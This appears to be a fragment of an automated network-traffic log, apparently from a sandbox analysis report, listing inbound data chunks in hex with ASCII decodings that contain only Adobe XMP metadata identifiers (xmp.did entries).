2022-07-20 07:08:24 UTC	3955	IN	Data Raw: 34 32 36 36 38 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 36 41 31 31 36 39 42 31 38 45 32 31 31 39 46 33 35 46 44 46 32 30 45 45 33 34 33 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 61 63 30 38 65 2d 36 62 33 64 2d 34 31 32 31 2d 61 38 34 32 2d 30 36 35 61 35 30 64 38 34 37 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 33 36 45 42 42 35 45 35 42 35 44 46 31 31 39 31 34 34 42 45 44 44 38 42 30 43 42 46 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 35 30 38 39 61 30 2d 39 32 38 61 2d 35 61 34 62 2d 38 39 32 61 2d 63 63 34 33 66 37 37 66 64 39 33 38 3c 2f 72 64 66 3a 6c Data Ascii: 426685F3</rdf:li> <rdf:li>xmp.did:0826A1169B18E2119F35FDF20EE34307</rdf:li> <rdf:li>xmp.did:082ac08e-6b3d-4121-a842-065a50d847a4</rdf:li> <rdf:li>xmp.did:0836EBB5E5B5DF119144BEDD8B0CBFDF</rdf:li> <rdf:li>xmp.did:085089a0-928a-5a4b-892a-cc43f77fd938</rdf:l
2022-07-20 07:08:24 UTC	3971	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 31 33 38 41 41 32 37 35 42 36 33 45 31 31 45 35 42 32 37 32 44 41 42 44 45 30 30 39 38 35 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 38 43 43 35 34 45 39 44 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 39 33 32 34 33 41 31 33 32 30 36 38 31 31 41 46 46 44 43 42 34 34 35 31 42 35 34 38 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 42 42 46 33 42 30 30 41 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 62 62 62 39 30 61 2d 36 66 62 66 2d Data Ascii: >xmp.did:138AA275B63E11E5B272DABDE00985B8</rdf:li> <rdf:li>xmp.did:138CC54E9D226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:1393243A13206811AFFDCB4451B5484D</rdf:li> <rdf:li>xmp.did:13BBF3B00A206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:13bbb90a-6fbf-
2022-07-20 07:08:24 UTC	3987	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 32 33 44 30 31 44 32 41 41 45 32 30 36 38 31 31 38 37 31 46 44 46 41 43 34 39 36 35 33 34 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 46 39 44 32 36 35 31 37 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 46 41 42 31 43 37 45 44 46 31 45 31 31 31 42 30 30 37 38 30 41 44 35 34 37 46 44 30 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 61 31 62 39 33 39 2d 35 38 62 37 2d 34 64 34 30 2d 62 33 38 33 2d 65 38 33 36 32 34 62 33 64 65 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 31 44 45 42 34 45 30 46 Data Ascii: >xmp.did:23D01D2AAE206811871FDFAC49653455</rdf:li> <rdf:li>xmp.did:23F9D265172068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:23FAB1C7EDF1E111B00780AD547FD0D3</rdf:li> <rdf:li>xmp.did:23a1b939-58b7-4d40-b383-e83624b3dec6</rdf:li> <rdf:li>xmp.did:241DEB4E0F
2022-07-20 07:08:24 UTC	3995	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 41 44 44 41 38 37 37 34 32 31 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 42 30 45 33 41 31 31 32 46 39 44 46 31 31 42 46 43 43 46 31 38 45 34 46 45 30 43 30 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 44 35 46 44 32 34 32 32 32 33 36 38 31 31 38 30 38 33 42 35 33 34 33 36 30 39 35 35 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 30 37 33 36 41 46 46 35 41 36 44 46 31 31 38 39 37 37 41 45 45 32 41 38 37 44 35 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 32 34 42 46 34 36 Data Ascii: rdf:li>xmp.did:2BADDA87742168118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:2BB0E3A112F9DF11BFCCF18E4FE0C029</rdf:li> <rdf:li>xmp.did:2BD5FD24222368118083B534360955E9</rdf:li> <rdf:li>xmp.did:2C0736AFF5A6DF118977AEE2A87D54E5</rdf:li> <rdf:li>xmp.did:2C24BF46
2022-07-20 07:08:24 UTC	4011	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 35 38 32 31 43 32 32 30 45 42 31 31 36 38 41 46 33 38 44 41 31 33 45 39 44 43 34 34 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 35 38 41 46 46 32 30 39 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 36 37 30 34 33 42 30 45 32 30 36 38 31 31 38 32 32 41 39 32 31 39 37 36 41 33 39 36 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 36 43 44 31 39 33 31 35 32 30 36 38 31 31 38 30 38 33 39 33 38 38 37 34 33 36 37 43 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 37 33 34 37 34 30 38 35 Data Ascii: f:li>xmp.did:395821C220EB1168AF38DA13E9DC4445</rdf:li> <rdf:li>xmp.did:3958AFF209206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:3967043B0E206811822A921976A3964B</rdf:li> <rdf:li>xmp.did:396CD193152068118083938874367C3C</rdf:li> <rdf:li>xmp.did:3973474085
2022-07-20 07:08:24 UTC	4027	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 34 42 42 41 32 45 41 37 37 31 45 30 31 31 38 35 34 38 42 31 36 42 42 35 38 46 39 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 34 43 30 41 43 43 33 42 32 30 36 38 31 31 38 32 32 41 42 36 37 42 39 41 32 45 45 44 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 35 38 44 31 36 30 32 36 32 30 36 38 31 31 38 30 38 33 41 34 42 35 42 38 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 36 39 65 63 30 31 2d 66 36 37 35 2d 34 63 33 32 2d 62 37 62 39 2d 36 35 39 62 30 35 38 35 64 30 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 38 37 Data Ascii: <rdf:li>xmp.did:484BBA2EA771E0118548B16BB58F9064</rdf:li> <rdf:li>xmp.did:484C0ACC3B206811822AB67B9A2EED81</rdf:li> <rdf:li>xmp.did:4858D160262068118083A4B5B80DDB63</rdf:li> <rdf:li>xmp.did:4869ec01-f675-4c32-b7b9-659b0585d0e6</rdf:li> <rdf:li>xmp.did:487
2022-07-20 07:08:24 UTC	4035	IN	Data Raw: 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 30 31 36 32 34 30 38 32 30 36 38 31 31 39 35 46 45 42 35 38 32 44 30 31 36 42 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 31 44 36 46 44 43 34 32 31 36 38 31 31 42 30 41 45 46 36 36 42 37 30 30 42 41 30 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 43 34 44 45 39 43 46 38 42 34 45 32 31 31 42 35 45 31 44 39 38 44 43 36 43 39 44 32 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: 64</rdf:li> <rdf:li>xmp.did:509016240820681195FEB582D016B30A</rdf:li> <rdf:li>xmp.did:5091D6FDC4216811B0AEF66B700BA0BA</rdf:li> <rdf:li>xmp.did:509F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:50C4DE9CF8B4E211B5E1D98DC6C9D202</rdf:li> <rdf:li>xmp
2022-07-20 07:08:24 UTC	4051	IN	Data Raw: 36 37 39 66 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 66 38 35 39 64 33 2d 39 30 33 64 2d 34 61 34 39 2d 62 65 64 34 2d 64 31 35 37 36 64 65 39 32 30 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 66 62 65 32 33 31 2d 32 32 30 35 2d 37 37 34 35 2d 61 32 38 65 2d 38 35 63 65 37 65 65 62 32 65 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 65 32 65 64 63 33 39 2d 34 65 33 32 2d 34 34 62 38 2d 62 30 37 30 2d 33 30 66 32 66 38 30 31 63 37 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 65 34 30 64 34 35 33 2d 61 38 30 37 2d 61 62 34 39 2d 38 32 63 37 2d 30 35 35 64 33 31 34 62 64 65 65 38 3c Data Ascii: 679f1e</rdf:li> <rdf:li>xmp.did:5df859d3-903d-4a49-bed4-d1576de920b8</rdf:li> <rdf:li>xmp.did:5dfbe231-2205-7745-a28e-85ce7eeb2e66</rdf:li> <rdf:li>xmp.did:5e2edc39-4e32-44b8-b070-30f2f801c7b1</rdf:li> <rdf:li>xmp.did:5e40d453-a807-ab49-82c7-055d314bdee8<
2022-07-20 07:08:24 UTC	4067	IN	Data Raw: 62 31 37 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 62 63 35 33 34 35 32 2d 39 64 30 65 2d 34 63 32 33 2d 39 63 66 64 2d 38 34 36 33 66 39 31 36 34 66 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 62 66 65 32 35 61 66 2d 63 34 35 63 2d 34 31 33 35 2d 38 30 65 61 2d 36 63 37 36 35 61 37 33 36 36 64 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 63 33 38 37 34 31 33 2d 31 39 33 38 2d 34 33 34 31 2d 38 66 63 66 2d 35 62 30 37 65 37 35 61 61 33 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 63 34 61 36 62 34 38 2d 36 34 63 33 2d 39 66 34 66 2d 62 38 61 66 2d 61 31 64 64 35 38 39 61 63 63 66 65 3c Data Ascii: b17109</rdf:li> <rdf:li>xmp.did:6bc53452-9d0e-4c23-9cfd-8463f9164fef</rdf:li> <rdf:li>xmp.did:6bfe25af-c45c-4135-80ea-6c765a7366de</rdf:li> <rdf:li>xmp.did:6c387413-1938-4341-8fcf-5b07e75aa373</rdf:li> <rdf:li>xmp.did:6c4a6b48-64c3-9f4f-b8af-a1dd589accfe<
2022-07-20 07:08:24 UTC	4074	IN	Data Raw: 32 38 32 30 36 38 31 31 42 37 43 34 38 31 31 33 37 36 41 43 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 38 39 61 36 35 61 2d 30 31 31 38 2d 66 65 34 38 2d 39 30 62 65 2d 30 36 33 63 63 65 32 36 61 63 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 36 44 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 37 31 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 42 33 33 30 30 45 33 32 30 36 38 31 31 38 34 44 35 44 39 44 37 38 32 41 Data Ascii: 28206811B7C4811376ACEB01</rdf:li> <rdf:li>xmp.did:7589a65a-0118-fe48-90be-063cce26ac61</rdf:li> <rdf:li>xmp.did:75C18F6DD67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75C18F71D67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75CB3300E320681184D5D9D782A
2022-07-20 07:08:24 UTC	4090	IN	Data Raw: 38 34 64 2d 39 34 35 36 2d 65 30 35 30 66 62 65 66 36 37 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 37 34 32 43 42 33 30 43 32 30 36 38 31 31 42 36 39 39 41 30 43 42 38 31 31 45 46 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 37 35 33 65 33 35 2d 30 39 64 66 2d 62 62 34 64 2d 62 37 64 31 2d 39 31 61 31 66 31 61 66 35 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 41 44 46 32 31 36 36 35 38 44 45 30 31 31 42 45 30 39 39 34 37 34 32 37 34 34 43 37 Data Ascii: 84d-9456-e050fbef678c</rdf:li> <rdf:li>xmp.did:85742CB30C206811B699A0CB811EF03E</rdf:li> <rdf:li>xmp.did:85753e35-09df-bb4d-b7d1-91a1f1af5883</rdf:li> <rdf:li>xmp.did:858D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:85ADF216658DE011BE0994742744C7
2022-07-20 07:08:24 UTC	4106	IN	Data Raw: 33 30 36 39 63 37 33 2d 33 37 62 66 2d 34 34 32 39 2d 39 65 35 36 2d 65 34 36 62 30 62 31 33 37 38 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 31 38 35 64 39 32 2d 32 31 38 31 2d 34 37 64 62 2d 38 36 36 37 2d 34 32 37 36 30 66 61 34 34 37 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 31 43 30 46 36 32 41 46 37 30 45 30 31 31 39 44 42 43 41 30 35 37 33 31 32 45 38 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 33 32 36 44 34 41 43 31 42 32 30 36 38 31 31 Data Ascii: 3069c73-37bf-4429-9e56-e46b0b137874</rdf:li> <rdf:li>xmp.did:93185d92-2181-47db-8667-42760fa44776</rdf:li> <rdf:li>xmp.did:931C0F62AF70E0119DBCA057312E8D83</rdf:li> <rdf:li>xmp.did:9321EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:9326D4AC1B206811
2022-07-20 07:08:24 UTC	4114	IN	Data Raw: 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 38 43 42 45 45 33 44 32 35 36 38 31 31 38 44 42 42 39 32 38 31 39 30 38 37 30 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 41 36 44 45 46 36 44 39 41 31 31 45 31 38 35 43 45 38 43 37 37 41 38 44 30 30 38 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 35 33 43 39 42 33 43 46 42 41 45 32 31 31 41 35 46 37 42 33 31 36 36 43 30 32 46 39 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 35 34 41 43 41 39 36 39 37 44 44 45 31 31 41 39 43 35 39 30 32 42 33 33 31 41 32 44 30 30 3c 2f 72 64 Data Ascii: 81195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:9A48CBEE3D2568118DBB928190870DAB</rdf:li> <rdf:li>xmp.did:9A4A6DEF6D9A11E185CE8C77A8D00848</rdf:li> <rdf:li>xmp.did:9A53C9B3CFBAE211A5F7B3166C02F901</rdf:li> <rdf:li>xmp.did:9A54ACA9697DDE11A9C5902B331A2D00</rd
2022-07-20 07:08:24 UTC	4130	IN	Data Raw: 37 46 34 35 38 32 42 32 30 36 38 31 31 39 35 38 44 44 36 36 39 33 32 32 31 45 36 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 31 33 37 34 30 46 36 42 36 41 45 30 31 31 41 35 46 33 39 35 30 46 45 37 46 46 36 35 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 31 44 42 30 35 35 32 45 43 37 45 31 31 31 41 45 33 39 39 45 41 42 44 30 38 34 32 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 33 43 46 41 32 31 38 38 30 42 45 37 31 31 42 46 30 36 39 34 30 36 36 37 37 45 38 42 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 36 43 31 34 46 32 31 39 32 30 36 38 31 31 38 43 31 34 44 45 45 36 41 45 Data Ascii: 7F4582B206811958DD6693221E61F</rdf:li> <rdf:li>xmp.did:AF13740F6B6AE011A5F3950FE7FF6584</rdf:li> <rdf:li>xmp.did:AF1DB0552EC7E111AE399EABD0842E47</rdf:li> <rdf:li>xmp.did:AF3CFA21880BE711BF069406677E8B06</rdf:li> <rdf:li>xmp.did:AF6C14F2192068118C14DEE6AE
2022-07-20 07:08:24 UTC	4146	IN	Data Raw: 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 32 35 46 34 42 46 30 39 32 30 36 38 31 31 41 38 38 44 42 30 44 31 33 44 44 43 37 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 37 36 31 36 42 31 34 42 32 36 36 38 31 31 38 46 36 32 39 44 37 45 34 32 35 31 35 38 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 37 37 38 36 44 43 34 32 41 32 45 30 31 31 39 39 32 35 44 46 30 36 43 31 41 44 38 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 1</rdf:li> <rdf:li>xmp.did:C825F4BF09206811A88DB0D13DDC7D9E</rdf:li> <rdf:li>xmp.did:C87616B14B2668118F629D7E425158A1</rdf:li> <rdf:li>xmp.did:C87786DC42A2E0119925DF06C1AD8E81</rdf:li> <rdf:li>xmp.did:C882A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.
2022-07-20 07:08:24 UTC	4154	IN	Data Raw: 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 31 45 34 46 43 39 43 32 37 45 33 31 31 39 33 39 33 45 38 36 32 30 33 39 30 38 42 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 42 36 46 42 37 45 32 30 37 31 31 45 30 42 42 31 33 41 43 34 36 37 38 42 44 32 32 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 35 38 35 32 34 31 42 36 44 31 45 34 31 31 42 34 43 45 38 32 34 36 30 46 42 37 46 34 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 36 32 33 33 37 36 30 37 32 30 36 38 31 31 38 32 32 41 39 37 46 36 45 39 36 37 34 46 38 37 3c 2f 72 64 66 3a 6c Data Ascii: 8A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D241E4FC9C27E3119393E86203908BBA</rdf:li> <rdf:li>xmp.did:D24B6FB7E20711E0BB13AC4678BD227D</rdf:li> <rdf:li>xmp.did:D2585241B6D1E411B4CE82460FB7F4FF</rdf:li> <rdf:li>xmp.did:D262337607206811822A97F6E9674F87</rdf:l
2022-07-20 07:08:24 UTC	4170	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 34 41 30 33 36 33 30 42 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 36 46 45 31 38 41 43 33 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 43 33 30 36 46 36 30 46 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 45 38 42 31 45 32 30 46 32 32 44 46 31 31 42 37 35 36 46 36 43 36 33 31 32 32 36 31 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 45 38 46 38 46 39 34 Data Ascii: df:li>xmp.did:E84A03630B2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:E86FE18AC32168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:E8C306F60F206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:E8E8B1E20F22DF11B756F6C631226122</rdf:li> <rdf:li>xmp.did:E8E8F8F94
2022-07-20 07:08:24 UTC	4186	IN	Data Raw: 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 32 41 31 42 44 38 45 31 31 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 37 37 32 43 33 44 30 38 32 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 41 45 41 33 30 32 33 36 34 35 32 37 3c 2f 72 64 66 Data Ascii: 11BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407206811808392A1BD8E1163</rdf:li> <rdf:li>xmp.did:F87F11740720681180839772C3D0829A</rdf:li> <rdf:li>xmp.did:F87F1174072068118083AEA302364527</rdf
2022-07-20 07:08:24 UTC	4189	IN	Data Raw: 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 46 36 42 30 35 44 34 31 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: C4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DF6B05D4179B8</rdf:li> <r
